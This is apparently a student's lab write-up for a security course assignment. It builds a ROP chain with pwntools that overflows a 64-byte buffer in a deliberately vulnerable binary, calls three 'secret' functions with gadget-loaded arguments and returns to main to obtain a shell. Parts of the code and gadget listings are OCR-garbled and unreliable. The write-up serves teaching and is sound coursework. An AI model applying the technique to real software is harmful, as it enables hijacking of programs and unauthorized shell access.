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CS 395

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Assignment 4

## I. Reconnaissance

Checking to see what, see that we cannot execute our own shell code, thus we need to find alternatives.

```
[#0] 0x401le6 → getInput()

gef> checksec
[+] checksec for '/home/cs395/Desktop/Homework CS_395/Assignment 4/vuln'
Canary
NX
PIE
Fortify
RelR0
gef> . **
Partial
Partial
```

```
undefined8 main(void)
 print_assignment();
 puts("FOOL! You may have an overflow, but no one will ever call my secret functions...");
 getInput();
 win(x,y,z,y);
return 0;
1
2
   void getInput(void)
3
1
   {
5
       char local_48 [64];
5
7
       fgets(local_48,200,stdin);
3
       return;
Э
   }
Э
```

Seemingly, the goal is to call all three secret functions by overflowing the buffer in getInput and win() function will give us a shell.

First, we find the distance from top of buffer to return address: 72 bytes

Next, we look into each of the secret functions to see what conditions to get them to run properly.

Secret1 doesn't need any condition, we only need to call it.

```
void secret1(void)

{
    x = 1;
    return;
}
```

Secret2 needs 1 parameter to be an int of values :0x100.

Secret3 needs 2 parameters where first = (int)0x1a80 and second = (int) 0x457.

```
void secret3(int param_1,int param_2)
{
  if ((param_1 == 0x1a80) && (param_2 == 0x457)) {
    z = 1;
  }
  return;
}
```

Next, we will need ROP gadgets to pop these values into correct parameters when functions are called.

Since at most we need 2 parameters, we need pop rdi and pop rsi only where gadgets must end with ret.

```
: lea edi, dword ptr [rip + 0xece]; call 0x1030; nop;
: lea rdi, qword ptr [rip + 0xece]; call 0x1030; nop;
                                                             rbp; ret;
: mov byte ptr [rip + 0x2f1f], 1; por
                                       rbp; ret;
: mov dword ptr [rip + 0x2eb8], 1; nop;
                                              rbp; ret;
: mov eax, 0;
                  rbp; ret;
: mov ebp, esp; call 0x10a0; mov byte ptr [rip + 0x2f1f], 1; pop rbp; ret;
: mov edi, eax; call 0x1050; mov eax, 0;
                                            pop rbp; ret;
: mov esi, ecx; mov edi, eax; call 0x1050; mov eax, 0;
  mov rbp, rsp; call 0x10a0; mov byte ptr [rip + 0x2f1f], 1; pop rbp; ret;
               r13; pop r14; pop
r14; pop r15; ret;
      r12;
                                 p r15; ret;
      r13;
      r14;
      r15; ret;
      rbp; pop
               r12; pop r13; pop r14; pop r15; ret; r14; pop r15; ret;
      rbp;
      rbp; ret;
      rdi; ret;
               r13; pop r14;
                                 p r15; ret;
      rsp;
  push rbp; mov rbp, rsp; call 0x10a0; mov byte ptr [rip + 0x2f1f], 1; pop rbp; ret;
a: nop; po
           rbp; ret;
```

We have our ROP gadgets to pop RSI and RDI. But with RSI, it also pops R15 from the stack, thus we might need to add an extra argument to account for that.

## II. Crafting Payload

```
1 from pwn import *
 2 context.binary = elf = ELF("./vuln")
 3
 4 pop rdi = p64(0 \times 00000)
 5 pop rsi and r15 = p64()
 6 secret1 = p64(elf.symbols['secret1'])
 7 secret2 = p64(elf.symbols[
 8 secret3 = p64(elf.symbols['
           = p64(elf.symbols['win'])
 9 win
           = p64(elf.symbols['main'])
10 main
11 sec2 param1 = p64(0 \times 100)
12 sec3 param1 = p64(0x1a80) #rdi
13 sec3 param2 = p64(0x457) #rsi
14
15
16 \text{ payload} = b"A"*72
17 payload += secret1
18
19 payload += pop rdi
20 payload += sec2 param1
21 payload += secret2
22
23 payload += pop rdi
24 payload += sec3 param1
25 payload += pop rsi and r15
26 payload += sec3 param2
27 payload += sec3 param2
28 payload += secret3
29 #payload += sec3 param2
30
31 payload += main
32
33 io = elf.process()
34 #gdb.attach(io)
35 io.sendline(payload)
36 io.interactive()
```

After many tries, I find that even though after loading the right parameters and call all three secret functions and follow that with calling win, the program still segfaults.

I found that the win functions doesn't take parameters argument from memory, but load them into registers, this can be seen in gdb:

```
# 0x404054 <z>
                                                                     # 0x404054 <2>
# 0x404050 <y>
0x401211 <main+42>
                           mov
                                   ecx, DWORD PTR [rip+0x2e39]
                                   eax, DWORD PTR [rip+0x2e2f]
0x401217 <main+48>
                                                                      # 0x40404c <x>
                           mov
0x40121d <main+54>
                           mov
                                   esi, ecx
0x40121f <main+56>
                                   edi, eax
                           mov
                                   0x401050 <win@plt>
0x401221 <main+58>
                            call
Id 1 Name: "vuln"
```

Therefore, I think the way to solve this is to run all 3 secret functions to set x=y=z=1 then call main again, this will trigger win with correct parameters.

## III. Inject and Result

```
(cs395@kali) - [~/Desktop/Homework CS_395/Assignment 4]
$ python3 Assignment4 Exploit.py
[*] '/home/cs395/Desktop/Homework CS_395/Assignment 4/vuln'
    Arch:
              amd64-64-little
    RELRO:
              Partial RELRO
    Stack:
              NX enabled
    NX:
    PIE:
[+] Starting local process '/home/cs395/Desktop/Homework CS 395/Assignment 4/vuln': pid 11896
[*] Switching to interactive mode
=== Assignment 4 ===
FOOL! You may have an overflow, but no one will ever call my secret functions...
=== Assignment 4 ===
FOOL! You may have an overflow, but no one will ever call my secret functions...
Good job!
 ls
Assignment4 Exploit.py core libcs395.so setup vuln
cs395
 pwd
/home/cs395/Desktop/Homework CS_395/Assignment 4
```